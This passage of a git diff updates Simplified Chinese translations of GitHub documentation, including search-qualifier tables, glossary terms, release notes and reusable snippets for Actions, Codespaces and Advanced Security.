+| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>closed:<em>YYYY-MM-DD</em></code> | [**language:swift closed:>2014-06-11**](https://github.com/search?q=language%3Aswift+closed%3A%3E2014-06-11&type=Issues) 匹配 2014 年 6 月 11 日后关闭的 Swift 中的议题和拉取请求。                |
+|                            | [**data in:body closed:<2012-10-01**](https://github.com/search?utf8=%E2%9C%93&q=data+in%3Abody+closed%3A%3C2012-10-01+&type=Issues) 匹配 2012 年 10 月后关闭、正文中含有 "data" 字样的议题和拉取请求。 |
 
-## Search by when a pull request was merged
+## 按拉取请求合并的时间搜索
 
-You can filter pull requests based on when they were merged, using the `merged` qualifier.
+您可以使用 `merged` 限定符基于拉取请求合并的时间进行过滤。
 
-This qualifier takes a date as its parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
+此限定符采用日期作为其参数。 {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
 
 {% data reusables.search.date_gt_lt %}
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>merged:<em>YYYY-MM-DD</em></code> | [**language:javascript merged:<2011-01-01**](https://github.com/search?q=language%3Ajavascript+merged%3A%3C2011-01-01+&type=Issues) matches pull requests in JavaScript repositories that were merged before 2011.
-| | [**fast in:title language:ruby merged:>=2014-05-01**](https://github.com/search?q=fast+in%3Atitle+language%3Aruby+merged%3A%3E%3D2014-05-01+&type=Issues) matches pull requests in Ruby with the word "fast" in the title that were merged after May 2014.
+| 限定符                        | 示例                                                                                                                                                                                                          |
+| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>merged:<em>YYYY-MM-DD</em></code> | [**language:javascript merged:<2011-01-01**](https://github.com/search?q=language%3Ajavascript+merged%3A%3C2011-01-01+&type=Issues) 匹配 2011 年以前合并的 JavaScript 仓库中的拉取请求。                                     |
+|                            | [**fast in:title language:ruby merged:>=2014-05-01**](https://github.com/search?q=fast+in%3Atitle+language%3Aruby+merged%3A%3E%3D2014-05-01+&type=Issues) 匹配 2014 年 5 月之后合并、标题中含有 "fast" 字样、以 Ruby 编写的拉取请求。 |
 
-## Search based on whether a pull request is merged or unmerged
+## 基于拉取请求是否已合并搜索
 
-You can filter pull requests based on whether they're merged or unmerged using the `is` qualifier.
+您可以使用 `is` 限定符基于拉取请求已合并还是未合并进行过滤。
 
-| Qualifier        | Example
-| ------------- | -------------
-| `is:merged` | [**bugfix is:pr is:merged**](https://github.com/search?utf8=%E2%9C%93&q=bugfix+is%3Apr+is%3Amerged&type=) matches merged pull requests with the word "bugfix."
-| `is:unmerged` | [**error is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=error+is%3Aunmerged&type=) matches closed issues and pull requests with the word "error."
+| 限定符           | 示例                                                                                                                                  |
+| ------------- | ----------------------------------------------------------------------------------------------------------------------------------- |
+| `is:merged`   | [**bugfix is:pr is:merged**](https://github.com/search?utf8=%E2%9C%93&q=bugfix+is%3Apr+is%3Amerged&type=) 匹配含有 "bugfix" 字样的已合并拉取请求。 |
+| `is:unmerged` | [**error is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=error+is%3Aunmerged&type=) 匹配含有 "error" 字样的已关闭议题和拉取请求。           |
 
-## Search based on whether a repository is archived
+## 基于仓库是否已存档搜索
 
-The `archived` qualifier filters your results based on whether an issue or pull request is in an archived repository.
+`archived` 限定符基于议题或拉取请求是否位于已存档仓库中过滤结果。
 
-| Qualifier     | Example
-| ------------- | -------------
-| `archived:true` | [**archived:true GNOME**](https://github.com/search?q=archived%3Atrue+GNOME&type=) matches issues and pull requests that contain the word "GNOME" in archived repositories you have access to.
-| `archived:false` | [**archived:false GNOME**](https://github.com/search?q=archived%3Afalse+GNOME&type=) matches issues and pull requests that contain the word "GNOME" in unarchived repositories you have access to.
+| 限定符              | 示例                                                                                                                          |
+| ---------------- | --------------------------------------------------------------------------------------------------------------------------- |
+| `archived:true`  | [**archived:true GNOME**](https://github.com/search?q=archived%3Atrue+GNOME&type=) 匹配您具有访问权限的已存档仓库中含有 "GNOME" 字样的议题和拉取请求。   |
+| `archived:false` | [**archived:false GNOME**](https://github.com/search?q=archived%3Afalse+GNOME&type=) 匹配您具有访问权限的未存档仓库中含有 "GNOME" 字样的议题和拉取请求。 |
 
-## Search based on whether a conversation is locked
+## 基于对话是否已锁定搜索
 
-You can search for an issue or pull request that has a locked conversation using the `is` qualifier. For more information, see "[Locking conversations](/communities/moderating-comments-and-conversations/locking-conversations)."
+您可以使用 `is` 限定符搜索具有已锁定对话的议题或拉取请求。 更多信息请参阅“[锁定对话](/communities/moderating-comments-and-conversations/locking-conversations)”。
 
-| Qualifier        | Example
-| ------------- | -------------
-| `is:locked` | [**code of conduct is:locked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Alocked+is%3Aissue+archived%3Afalse) matches issues or pull requests with the words "code of conduct" that have a locked conversation in a repository that is not archived.
-| `is:unlocked` | [**code of conduct is:unlocked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Aunlocked+archived%3Afalse) matches issues or pull requests with the words "code of conduct" that have an unlocked conversation in a repository that is not archived.
+| 限定符           | 示例                                                                                                                                                                                            |
+| ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `is:locked`   | [**code of conduct is:locked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Alocked+is%3Aissue+archived%3Afalse) 匹配未存档仓库中具有已锁定对话且含有 "code of conduct" 字样的议题或拉取请求。 |
+| `is:unlocked` | [**code of conduct is:unlocked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Aunlocked+archived%3Afalse) 匹配未存档仓库中具有未锁定对话且含有 "code of conduct" 字样的议题或拉取请求。        |
 
-## Search by missing metadata
+## 按缺少的元数据搜索
 
-You can narrow your search to issues and pull requests that are missing certain metadata, using the `no` qualifier. That metadata includes:
+您可以使用 `no` 限定符缩小搜索缺少特定元数据的议题和拉取请求的范围。 该元数据包括：
 
-* Labels
-* Milestones
-* Assignees
-* Projects
+* 标签
+* 里程碑
+* 受理人
+* 项目
 
-| Qualifier        | Example
-| ------------- | -------------
-| `no:label` | [**priority no:label**](https://github.com/search?q=priority+no%3Alabel&type=Issues) matches issues and pull requests with the word "priority" that also don't have any labels.
-| `no:milestone` | [**sprint no:milestone type:issue**](https://github.com/search?q=sprint+no%3Amilestone+type%3Aissue&type=Issues) matches issues not associated with a milestone containing the word "sprint."
-| `no:assignee` | [**important no:assignee language:java type:issue**](https://github.com/search?q=important+no%3Aassignee+language%3Ajava+type%3Aissue&type=Issues) matches issues not associated with an assignee, containing the word "important," and in Java repositories.
-| `no:project` | [**build no:project**](https://github.com/search?utf8=%E2%9C%93&q=build+no%3Aproject&type=Issues) matches issues not associated with a project board, containing the word "build."
+| 限定符            | 示例                                                                                                                                                                                             |
+| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `no:label`     | [**priority no:label**](https://github.com/search?q=priority+no%3Alabel&type=Issues) 匹配没有任何标签且含有 "priority" 字样的议题和拉取请求。                                                                        |
+| `no:milestone` | [**sprint no:milestone type:issue**](https://github.com/search?q=sprint+no%3Amilestone+type%3Aissue&type=Issues) 匹配未与含有 "sprint" 字样的里程碑关联的议题。                                                  |
+| `no:assignee`  | [**important no:assignee language:java type:issue**](https://github.com/search?q=important+no%3Aassignee+language%3Ajava+type%3Aissue&type=Issues) 匹配未与受理人关联、含有 "important" 字样且位于 Java 仓库中的议题。 |
+| `no:project`   | [**build no:project**](https://github.com/search?utf8=%E2%9C%93&q=build+no%3Aproject&type=Issues) 匹配未与项目板关联、含有 "build" 字样的议题。                                                                  |
 
-## Further reading
+## 延伸阅读
 
-- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)"
+- “[排序搜索结果](/search-github/getting-started-with-searching-on-github/sorting-search-results/)”
diff --git a/translations/zh-CN/content/sponsors/guides.md b/translations/zh-CN/content/sponsors/guides.md
index 3754acf94b..6b86e101aa 100644
--- a/translations/zh-CN/content/sponsors/guides.md
+++ b/translations/zh-CN/content/sponsors/guides.md
@@ -1,7 +1,7 @@
 ---
-title: GitHub Sponsors guides
-shortTitle: Guides
-intro: 'Learn how to make the most of {% data variables.product.prodname_sponsors %}.'
+title: GitHub Sponsors 指南
+shortTitle: 指南
+intro: '学习如何充分利用 {% data variables.product.prodname_sponsors %}。'
 allowTitleToDifferFromFilename: true
 layout: product-guides
 versions:
diff --git a/translations/zh-CN/data/features/enterprise-owners-visible-for-org-members.yml b/translations/zh-CN/data/features/enterprise-owners-visible-for-org-members.yml
new file mode 100644
index 0000000000..1b0a06a45f
--- /dev/null
+++ b/translations/zh-CN/data/features/enterprise-owners-visible-for-org-members.yml
@@ -0,0 +1,7 @@
+---
+#Reference: Issue #5741 in docs-content
+#Documentation for enterprise owners UI updates
+versions:
+  ghes: '>=3.4'
+  ghae: 'issue-####'
+  ghec: '*'
diff --git a/translations/zh-CN/data/features/fixed-width-font-gfm-fields.yml b/translations/zh-CN/data/features/fixed-width-font-gfm-fields.yml
new file mode 100644
index 0000000000..2c9ea31ac6
--- /dev/null
+++ b/translations/zh-CN/data/features/fixed-width-font-gfm-fields.yml
@@ -0,0 +1,8 @@
+---
+#Reference: #5278.
+#Documentation for the fixed-width font support for markdown fields.
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.4'
+  ghae: 'issue-5278'
diff --git a/translations/zh-CN/data/glossaries/external.yml b/translations/zh-CN/data/glossaries/external.yml
index 9ca419a81d..ce33aa0de5 100644
--- a/translations/zh-CN/data/glossaries/external.yml
+++ b/translations/zh-CN/data/glossaries/external.yml
@@ -177,13 +177,13 @@
 - 
   term: 默认分支
   description: >-
-    The base branch for new pull requests and code commits in a repository. Each repository has at least one branch, which Git creates when you initialize the repository. The first branch is usually called {% ifversion ghes < 3.2 %}`master`{% else %}`main`{% endif %}, and is often the default branch.
+    仓库中新拉取请求和代码提交的基本分支。每个仓库至少有一个分支，Git 会在您初始化仓库时创建该分支。第一个分支通常称为 {% ifversion ghes < 3.2 %}`master`{% else %}`main`{% endif %}，并且通常是默认分支。
 - 
-  term: dependents graph
+  term: 从属者图
   description: >-
     一种显示依赖于公共仓库的包、项目和仓库的仓库图。
 - 
-  term: dependency graph
+  term: 依赖关系图
   description: >-
     一种显示仓库所依赖的包和项目的仓库图。
 - 
@@ -210,7 +210,7 @@
   description: 发送到用户电子邮件地址的通知。
 - 
   term: 企业帐户
-  description: 企业帐户允许您集中管理多个 {% data variables.product.prodname_dotcom_the_website %} 组织的策略和帐单。{% data reusables.gated-features.enterprise-accounts %}
+  description: Enterprise accounts allow you to centrally manage policy and billing for multiple organizations. {% data reusables.gated-features.enterprise-accounts %}
 - 
   term: Explorer
   description: >-
@@ -248,7 +248,7 @@
 - 
   term: gist
   description: >-
-    A gist is a shareable file that you can edit, clone, and fork on GitHub. You can make a gist {% ifversion ghae %}internal{% else %}public{% endif %} or secret, although secret gists will be available to {% ifversion ghae %}any enterprise member{% else %}anyone{% endif %} with the URL.
+    Gist 是一个您可以在 GitHub 上编辑、克隆和复刻的可共享文件。您可以将 Gist 设为{% ifversion ghae %}内部{% else %}公共{% endif %}或机密，但机密 gist 可用于具有 URL 的{% ifversion ghae %}任何企业成员{% else %}任何人{% endif %}。
 - 
   term: Git
   description: >-
@@ -373,7 +373,7 @@
   description: >-
     用户无法访问的个人帐户。当用户将其付费帐户降级到免费帐户或者其付费计划过期时，帐户将被锁定。
 - 
-  term: management console
+  term: 管理控制台
   description: >-
     GitHub Enterprise 界面中包含管理功能的部分。
 - 
@@ -381,7 +381,7 @@
   description: >-
     Markdown 是一种非常简单的语义文件格式，与 .doc、.rtf 和 .txt 等格式不太相似。通过 Markdown，没有 web 发布背景知识的人也能编写文字（包含链接、列表、项目符号等）并将其像网站一样展示。GitHub 支持 Markdown，并使用特定形式的 Markdown，称为 GitHub Flavored Markdown。请参阅 [GitHub Flavored Markdown 规范](https://github.github.com/gfm/) 或 [在 GitHub 上编写和设置格式入门](/articles/getting-started-with-writing-and-formatting-on-github)。
 - 
-  term: markup
+  term: 标记
   description: 一种用于标注和格式化文档的系统。
 - 
   term: main
@@ -392,7 +392,7 @@
   description: >-
     许多 Git 仓库中的默认分支。默认情况下，在命令行上创建新的 Git 仓库时，将创建一个名为 "master" 的分支。许多工具现在对默认分支使用替代名称。{% ifversion fpt or ghes > 3.1 or ghae %} 例如，在 GitHub 上创建新仓库时，默认分支称为 "main"。{% endif %}
 - 
-  term: members graph
+  term: 成员图
   description: 显示仓库所有分叉的仓库图。
 - 
   term: 提及
@@ -418,7 +418,7 @@
   description: >-
     父团队的子团队。您可有多个子（或嵌套的）团队。
 - 
-  term: network graph
+  term: 网络图
   description: >-
     显示整个仓库网络的分支历史记录的仓库图，其中包括根仓库的分支以及包含网络独有提交的分叉的分支。
 - 
@@ -539,10 +539,10 @@
   description: >-
     拉取请求中协作者批准更改或在拉取请求合并之前申请进一步更改的评论。
 - 
-  term: pulse graph
+  term: 脉冲图
   description: 提供仓库活动概要的仓库图。
 - 
-  term: punch graph
+  term: 打卡图
   description: >-
     根据周日期和时间显示仓库更新频率的仓库图
 - 
diff --git a/translations/zh-CN/data/release-notes/github-ae/2021-06/2021-12-06.yml b/translations/zh-CN/data/release-notes/github-ae/2021-06/2021-12-06.yml
index 8c0fca296d..aff7b2e2e0 100644
--- a/translations/zh-CN/data/release-notes/github-ae/2021-06/2021-12-06.yml
+++ b/translations/zh-CN/data/release-notes/github-ae/2021-06/2021-12-06.yml
@@ -53,7 +53,7 @@ sections:
       heading: 'GitHub Packages'
       notes:
         - |
-          You can now delete any package or package version for GitHub Packages from {% data variables.product.product_name %}'s web UI or REST API. You can also undo the deletion of any package or package version within 30 days.
+          You can now delete any package or package version for GitHub Packages from {% data variables.product.product_name %}'s web UI. You can also undo the deletion of any package or package version within 30 days. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)."
         - |
           The npm registry for GitHub Packages and {% data variables.product.prodname_dotcom_the_website %} no longer returns a time value in metadata responses, providing substantial performance improvements. {% data variables.product.company_short %} will continue returning the time value in the future.
     - 
diff --git a/translations/zh-CN/data/reusables/actions/actions-group-concurrency.md b/translations/zh-CN/data/reusables/actions/actions-group-concurrency.md
index 2575f47952..b4a3c7e593 100644
--- a/translations/zh-CN/data/reusables/actions/actions-group-concurrency.md
+++ b/translations/zh-CN/data/reusables/actions/actions-group-concurrency.md
@@ -19,7 +19,7 @@ concurrency: ci-${{ github.ref }}
 {% raw %}
 ```yaml
 concurrency: 
-  group: ${{ github.head_ref }}
+  group: ${{ github.ref }}
   cancel-in-progress: true
 ```
 {% endraw %}
diff --git a/translations/zh-CN/data/reusables/actions/cd-templates-actions.md b/translations/zh-CN/data/reusables/actions/cd-templates-actions.md
index 8bc2c82226..7bc93daf9a 100644
--- a/translations/zh-CN/data/reusables/actions/cd-templates-actions.md
+++ b/translations/zh-CN/data/reusables/actions/cd-templates-actions.md
@@ -1,3 +1,3 @@
-{% data variables.product.product_name %} offers CD workflow templates for several popular services, such as Azure Web App. To learn how to get started using a workflow template, see "[Using workflow templates](/actions/learn-github-actions/using-workflow-templates)" or [browse the full list of deployment workflow templates](https://github.com/actions/starter-workflows/tree/main/deployments). You can also check out our more detailed guides for specific deployment workflows, such as "[Deploying to Azure App Service](/actions/deployment/deploying-to-azure-app-service)."
+{% data variables.product.product_name %} offers CD starter workflow for several popular services, such as Azure Web App. To learn how to get started using a starter workflow, see "[Using starter workflows](/actions/learn-github-actions/using-starter-workflows)" or [browse the full list of deployment starter workflows](https://github.com/actions/starter-workflows/tree/main/deployments). You can also check out our more detailed guides for specific deployment workflows, such as "[Deploying to Azure App Service](/actions/deployment/deploying-to-azure-app-service)."
 
 Many service providers also offer actions on {% data variables.product.prodname_marketplace %} for deploying to their service. For the full list, see [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?category=deployment&type=actions).
diff --git a/translations/zh-CN/data/reusables/actions/hardware-requirements-after.md b/translations/zh-CN/data/reusables/actions/hardware-requirements-after.md
index 1f4b7e72bd..72d68fea88 100644
--- a/translations/zh-CN/data/reusables/actions/hardware-requirements-after.md
+++ b/translations/zh-CN/data/reusables/actions/hardware-requirements-after.md
@@ -1,7 +1,7 @@
 | vCPU | 内存     | 最大并行数    |
 |:---- |:------ |:-------- |
 | 8    | 64 GB  | 300 个作业  |
-| 16   | 160 GB | 700 个作业  |
-| 32   | 128 GB | 1300 个作业 |
+| 16   | 128 GB | 700 个作业  |
+| 32   | 160 GB | 1300 个作业 |
 | 64   | 256 GB | 2000 个作业 |
-| 96   | 384 GB | 4000 个作业 |
\ No newline at end of file
+| 96   | 384 GB | 4000 个作业 |
diff --git a/translations/zh-CN/data/reusables/actions/workflow-organization-templates.md b/translations/zh-CN/data/reusables/actions/workflow-organization-templates.md
index 36dcc9d314..0dc4dc05b0 100644
--- a/translations/zh-CN/data/reusables/actions/workflow-organization-templates.md
+++ b/translations/zh-CN/data/reusables/actions/workflow-organization-templates.md
@@ -1 +1 @@
-Workflow templates allow everyone in your organization who has permission to create workflows to do so more quickly and easily. When you create a new workflow, you can choose a template and some or all of the work of writing the workflow will be done for you. 您可以使用工作流程模板作为基础来构建自定义工作流程，或按原样使用模板。 This not only saves time, it promotes consistency and best practice across your organization.
+Starter workflows allow everyone in your organization who has permission to create workflows to do so more quickly and easily. When you create a new workflow, you can choose a starter workflow and some or all of the work of writing the workflow will be done for you. You can use starter workflows as a starting place to build your custom workflow or use them as-is. This not only saves time, it promotes consistency and best practice across your organization.
diff --git a/translations/zh-CN/data/reusables/actions/workflow-template-overview.md b/translations/zh-CN/data/reusables/actions/workflow-template-overview.md
index 263bd35024..f03b83ab39 100644
--- a/translations/zh-CN/data/reusables/actions/workflow-template-overview.md
+++ b/translations/zh-CN/data/reusables/actions/workflow-template-overview.md
@@ -1,3 +1,3 @@
-{% data variables.product.prodname_dotcom %} 提供预配置的工作流程模板，您可以自定义以创建自己的持续集成工作流程。 {% data variables.product.product_name %} 分析代码并显示可能适用于您的仓库的 CI 模板。 例如，如果仓库包含 Node.js 代码，您就会看到 Node.js 项目的建议。 您可以使用工作流程模板作为基础来构建自定义工作流程，或按原样使用模板。
+{% data variables.product.prodname_dotcom %} provides preconfigured starter workflow that you can customize to create your own continuous integration workflow. {% data variables.product.product_name %} analyzes your code and shows you CI starter workflow that might be useful for your repository. 例如，如果仓库包含 Node.js 代码，您就会看到 Node.js 项目的建议。 You can use starter workflow as a starting place to build your custom workflow or use them as-is.
 
-您可以在 {% ifversion fpt or ghec %}[actions/starter-workflows](https://github.com/actions/starter-workflows) 仓库{% else %}{% data variables.product.product_location %} 上的 `actions/starter-workflows` 仓库{% endif %}中浏览工作流程模板的完整列表。
+You can browse the full list of starter workflow in the {% ifversion fpt or ghec %}[actions/starter-workflows](https://github.com/actions/starter-workflows) repository{% else %} `actions/starter-workflows` repository on {% data variables.product.product_location %}{% endif %}.
diff --git a/translations/zh-CN/data/reusables/advanced-security/ghas-availability.md b/translations/zh-CN/data/reusables/advanced-security/ghas-availability.md
new file mode 100644
index 0000000000..ad4315d7c1
--- /dev/null
+++ b/translations/zh-CN/data/reusables/advanced-security/ghas-availability.md
@@ -0,0 +1,10 @@
+{% data variables.product.prodname_GH_advanced_security %} is available
+
+{%- ifversion fpt %} and enabled for public repositories on {% data variables.product.prodname_dotcom_the_website %}. Organizations that use {% data variables.product.prodname_ghe_cloud %} can also access these features in private repositories with a license for {% data variables.product.prodname_GH_advanced_security %}. {% data reusables.advanced-security.more-info-ghas %}
+
+{%- elsif ghec %} and enabled for public repositories on {% data variables.product.prodname_dotcom_the_website %}. It is also available for private or internal repositories that are owned by an organization that is part of an enterprise with a license for {% data variables.product.prodname_GH_advanced_security %}. {% data reusables.advanced-security.more-info-ghas %}
+
+{%- elsif ghes %} if your enterprise has a license for {% data variables.product.prodname_GH_advanced_security %}. It is restricted to repositories owned by an organization. {% data reusables.advanced-security.more-info-ghas %}
+
+{%- elsif ghae %} for repositories owned by an organization. {% data reusables.advanced-security.more-info-ghas %}
+{% endif %}
diff --git a/translations/zh-CN/data/reusables/advanced-security/note-org-enable-uses-seats.md b/translations/zh-CN/data/reusables/advanced-security/note-org-enable-uses-seats.md
index a41810a9c4..9c23bbfb47 100644
--- a/translations/zh-CN/data/reusables/advanced-security/note-org-enable-uses-seats.md
+++ b/translations/zh-CN/data/reusables/advanced-security/note-org-enable-uses-seats.md
@@ -1,4 +1,4 @@
-{% ifversion fpt or ghes > 3.0 or ghec %}
+{% ifversion ghes > 3.0 or ghec %}
 {% note %}
 **注意：**如果启用
 
diff --git a/translations/zh-CN/data/reusables/advanced-security/security-feature-availability.md b/translations/zh-CN/data/reusables/advanced-security/security-feature-availability.md
new file mode 100644
index 0000000000..ef965ceae3
--- /dev/null
+++ b/translations/zh-CN/data/reusables/advanced-security/security-feature-availability.md
@@ -0,0 +1 @@
+Some features are available for {% ifversion ghes or ghae %}all repositories{% elsif fpt or ghec %}repositories on all plans{% endif %}. Additional features are available to enterprises that use {% data variables.product.prodname_GH_advanced_security %}. {% ifversion fpt or ghec %}{% data variables.product.prodname_GH_advanced_security %} features are also enabled for all public repositories on {% data variables.product.prodname_dotcom_the_website %}.{% endif %} {% data reusables.advanced-security.more-info-ghas %}
diff --git a/translations/zh-CN/data/reusables/classroom/assignments-to-prevent-submission.md b/translations/zh-CN/data/reusables/classroom/assignments-to-prevent-submission.md
index f6ac9d71cb..ad1874adb9 100644
--- a/translations/zh-CN/data/reusables/classroom/assignments-to-prevent-submission.md
+++ b/translations/zh-CN/data/reusables/classroom/assignments-to-prevent-submission.md
@@ -1 +1 @@
-为防止学生接受或提交作业，取消选择 **Enable assignment invitation URL（启用作业邀请 URL）**。 要编辑作业，请单击 {% octicon "pencil" aria-label="The pencil icon" %} **Edit assignment（编辑作业）**。
+To prevent acceptance or submission of an assignment by students, you can change the "Assignment Status" within the "Edit assignment" view. When an assignment is Active, students will be able to accept it using the invitation link. When it is Inactive, this link will no longer be valid.
diff --git a/translations/zh-CN/data/reusables/codespaces/codespaces-machine-type-availability.md b/translations/zh-CN/data/reusables/codespaces/codespaces-machine-type-availability.md
new file mode 100644
index 0000000000..43f134fbf4
--- /dev/null
+++ b/translations/zh-CN/data/reusables/codespaces/codespaces-machine-type-availability.md
@@ -0,0 +1,5 @@
+   {% note %}
+
+   **Note**: Your choice of available machine types may be limited by a policy configured for your organization, or by a minimum machine type specification for your repository. For more information, see "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)" and "[Setting a minimum specification for codespace machines](/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines)."
+
+   {% endnote %}
diff --git a/translations/zh-CN/data/reusables/codespaces/creating-a-codespace-in-vscode.md b/translations/zh-CN/data/reusables/codespaces/creating-a-codespace-in-vscode.md
index 51011a9ee6..afab8cd62c 100644
--- a/translations/zh-CN/data/reusables/codespaces/creating-a-codespace-in-vscode.md
+++ b/translations/zh-CN/data/reusables/codespaces/creating-a-codespace-in-vscode.md
@@ -15,4 +15,6 @@ After you connect your account on {% data variables.product.product_location %}
 
 5. Click the machine type you want to develop in.
 
-   ![新 {% data variables.product.prodname_codespaces %} 的实例类型](/assets/images/help/codespaces/choose-sku-vscode.png)
\ No newline at end of file
+   ![新 {% data variables.product.prodname_codespaces %} 的实例类型](/assets/images/help/codespaces/choose-sku-vscode.png)
+
+   {% data reusables.codespaces.codespaces-machine-type-availability %}
diff --git a/translations/zh-CN/data/reusables/desktop/delete-branch-win.md b/translations/zh-CN/data/reusables/desktop/delete-branch-win.md
index 4854c2e60a..e94030da3e 100644
--- a/translations/zh-CN/data/reusables/desktop/delete-branch-win.md
+++ b/translations/zh-CN/data/reusables/desktop/delete-branch-win.md
@@ -1 +1 @@
-1. 在菜单栏中，单击 **Branch（分支）**，然后单击 **Delete...（删除...）**。 您也可以按 <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>D</kbd>。
+1. 在菜单栏中，单击 **Branch（分支）**，然后单击 **Delete...（删除...）**。 You can also press <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>D</kbd>.
diff --git a/translations/zh-CN/data/reusables/dotcom_billing/codespaces-report-download.md b/translations/zh-CN/data/reusables/dotcom_billing/codespaces-report-download.md
new file mode 100644
index 0000000000..68aea0d9a7
--- /dev/null
+++ b/translations/zh-CN/data/reusables/dotcom_billing/codespaces-report-download.md
@@ -0,0 +1 @@
+1. Optionally, next to "Usage this month", click **Get usage report** to email a CSV report of storage use for {% data variables.product.prodname_codespaces %} to the account's primary email address. ![下载 CSV 报告](/assets/images/help/codespaces/usage-report-download.png)
\ No newline at end of file
diff --git a/translations/zh-CN/data/reusables/gated-features/enterprise-accounts.md b/translations/zh-CN/data/reusables/gated-features/enterprise-accounts.md
index 20333ce75a..d9c5ea77d4 100644
--- a/translations/zh-CN/data/reusables/gated-features/enterprise-accounts.md
+++ b/translations/zh-CN/data/reusables/gated-features/enterprise-accounts.md
@@ -1 +1 @@
-企业帐户可用于 {% data variables.product.prodname_ghe_cloud %}{% ifversion ghae %}、{% data variables.product.prodname_ghe_managed %}、{% endif %} 和 {% data variables.product.prodname_ghe_server %}。 更多信息请参阅“[关于企业帐户]({% ifversion fpt or ghec %}/enterprise-cloud@latest{% endif %}/admin/overview/about-enterprise-accounts)”。
+企业帐户可用于 {% data variables.product.prodname_ghe_cloud %}{% ifversion ghae %}、{% data variables.product.prodname_ghe_managed %}、{% endif %} 和 {% data variables.product.prodname_ghe_server %}。 For more information, see "[About enterprise accounts]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/overview/about-enterprise-accounts){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
diff --git a/translations/zh-CN/data/reusables/github-actions/example-github-runner.md b/translations/zh-CN/data/reusables/github-actions/example-github-runner.md
index 7d62811957..7cbfe52f67 100644
--- a/translations/zh-CN/data/reusables/github-actions/example-github-runner.md
+++ b/translations/zh-CN/data/reusables/github-actions/example-github-runner.md
@@ -1,6 +1,6 @@
 ### 在其他操作系统上运行
 
-初学者工作流程模板使用 {% data variables.product.prodname_dotcom %} 托管的 `ubuntu-latest` 运行器将作业配置为在 Linux 上运行。 您可以更改 `runs-on` 键，让您的作业在其他操作系统上运行。 例如，您可以使用 {% data variables.product.prodname_dotcom %} 托管的 Windows 运行器。
+The starter workflow configures jobs to run on Linux, using the {% data variables.product.prodname_dotcom %}-hosted `ubuntu-latest` runners. 您可以更改 `runs-on` 键，让您的作业在其他操作系统上运行。 例如，您可以使用 {% data variables.product.prodname_dotcom %} 托管的 Windows 运行器。
 
 {% raw %}
 ```yaml
diff --git a/translations/zh-CN/data/reusables/github-actions/java-jvm-architecture.md b/translations/zh-CN/data/reusables/github-actions/java-jvm-architecture.md
index 23914f6e0c..dd064415da 100644
--- a/translations/zh-CN/data/reusables/github-actions/java-jvm-architecture.md
+++ b/translations/zh-CN/data/reusables/github-actions/java-jvm-architecture.md
@@ -1,6 +1,6 @@
 ### 指定 JVM 版本和架构
 
-初学者工作流程模板将 `PATH` 设置为包含 OpenJDK 8，用于 x64 平台。 如果要使用不同的 Java 版本或面向不同的架构（`x64` 或 `x86`），您可以使用 `setup-java` 操作选择不同的 Java 运行时环境。
+The starter workflow sets up the `PATH` to contain OpenJDK 8 for the x64 platform. 如果要使用不同的 Java 版本或面向不同的架构（`x64` 或 `x86`），您可以使用 `setup-java` 操作选择不同的 Java 运行时环境。
 
 例如，要使用 Adoptium 提供的用于 x611 平台的 11 版 JDK，您可以使用 `setup-java` 操作，将 `java-version`、`distribution` 和 `architecture` 参数配置为 `'11'`、`'adopt'` 和 `x64`。
 
diff --git a/translations/zh-CN/data/reusables/identity-and-permissions/team-sync-okta-requirements.md b/translations/zh-CN/data/reusables/identity-and-permissions/team-sync-okta-requirements.md
index e31f311b00..c089f40c65 100644
--- a/translations/zh-CN/data/reusables/identity-and-permissions/team-sync-okta-requirements.md
+++ b/translations/zh-CN/data/reusables/identity-and-permissions/team-sync-okta-requirements.md
@@ -2,4 +2,4 @@ Before you enable team synchronization for Okta, you or your IdP administrator m
 
 - Configure the SAML, SSO, and SCIM integration for your organization using Okta. 更多信息请参阅“[使用 Okta 配置 SAML 单点登录和 SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta)”。
 - 提供 Okta 实例的租户 URL。
-- 为安装为服务用户的 Okta 生成具有只读管理员权限的有效 SSWS 令牌。 更多信息请参阅 Okta 文档中的[创建令牌](https://developer.okta.com/docs/guides/create-an-api-token/create-the-token/)和[服务用户](https://help.okta.com/en/prod/Content/Topics/Adv_Server_Access/docs/service-users.htm)。
+- 为安装为服务用户的 Okta 生成具有只读管理员权限的有效 SSWS 令牌。 更多信息请参阅 Okta 文档中的[创建令牌](https://developer.okta.com/docs/guides/create-an-api-token/create-the-token/)和[服务用户](https://help.okta.com/asa/en-us/Content/Topics/Adv_Server_Access/docs/service-users.htm)。
diff --git a/translations/zh-CN/data/reusables/organizations/internal-repos-enterprise.md b/translations/zh-CN/data/reusables/organizations/internal-repos-enterprise.md
deleted file mode 100644
index cbb3683d2f..0000000000
--- a/translations/zh-CN/data/reusables/organizations/internal-repos-enterprise.md
+++ /dev/null
@@ -1,7 +0,0 @@
-{% ifversion fpt or ghec %}
-{% note %}
-
-**注：**内部仓库适用于企业帐户中的组织。 更多信息请参阅“[关于仓库](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)”。
-
